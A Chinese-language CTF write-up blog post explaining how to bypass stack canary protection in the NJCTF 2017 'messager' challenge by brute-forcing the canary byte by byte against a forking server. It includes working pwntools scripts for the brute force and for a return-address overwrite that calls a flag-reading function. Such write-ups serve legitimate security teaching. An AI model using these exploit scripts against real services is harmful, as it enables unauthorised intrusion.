栈溢出之绕过CANARY保护

上周从NJCTF的其中一题messager,学到了绕CANARY保护的一种姿势

bin我拖下来了: https://github.com/Hcamael/CTF_repo/tree/master/NJCTF%202017/pwn150(messager)

其实很简单的一个思路.

CANARY保护机制的原理,是在一个函数入口处从fs,内存的某个地方获取一个值,可以想象成是cookie,存到栈中,在程序要返回的时候,判断栈中的这个cookie是否正确,如果不正确则判断为栈溢出

因为cookie是从内存的一个未知的地方获取到的,值是未知,当我们进行栈溢出攻击的时候,控制ret跳转的地址,肯定是会把cookie给覆盖掉,导致程序判断为栈溢出,程序退出,攻击失败

这题的问题出在fork函数,该题是自己写了一个socket, 接受到请求后fork出一个子进程,和用户做交互,父进程继续监听端口

fork函数的作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然cookie值也是一样的

这样就存在一个可能,我们可以一个byte一个byte的对cookie进行爆破,如果程序跪了则表明cookie错误,如果程序正常返回则表示cookie正确,我们通过栈溢出对cookie的最低位开始逐个覆盖,爆破出该位的正确cookie值

我的爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# blasting canary
canary = "\x00"
padding = "a"*104

for x in xrange(7):
for y in xrange(256):
p = remote("127.0.0.1", 5555)
print p.recv()
p.send(padding+canary+chr(y))
try:
info = p.recv()
print info
except:
p.close()
continue
p.close()
break
canary += chr(y)

print "success get blasting!"
print canary.encode('hex')

这里还有个知识点,上面代码中我只爆破了7 byte,因为最低位的byte一定是\x00,这为了防止其他漏洞会导致栈信息泄露,有个\x00cookie后面的数据就不会被泄露出来了.

得到cookie值了后,就是很简单的栈溢出了,栈溢出的时候把爆破出来的cookie值覆盖掉栈中的cookie(也就相当于cookie不变),从而绕过CANARY保护机制.

附之后的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

canary = "\x00\x10\xea\x4c\xa1\x11\xc4\xb8"
p = remote("127.0.0.1", 5555)
p.recv()

ret = 0x400b76
ret2 = 0x400bc6

p.send(padding+canary+"a"*8+p64(ret)+p64(ret2))
print p.recv()

上面代码中ret指向的函数是一个读取flag的函数,ret2为输出读入的信息,bin就有获取flag的函数了,所以不需要再麻烦的去跑libc了, 如果是要getshell的话,则还需要去跑下libc

栈溢出之绕过CANARY保护

https://nobb.site/2017/03/14/0x2d/

Author

Hcamael

Posted on

2017-03-14

Updated on

2017-07-26

Licensed under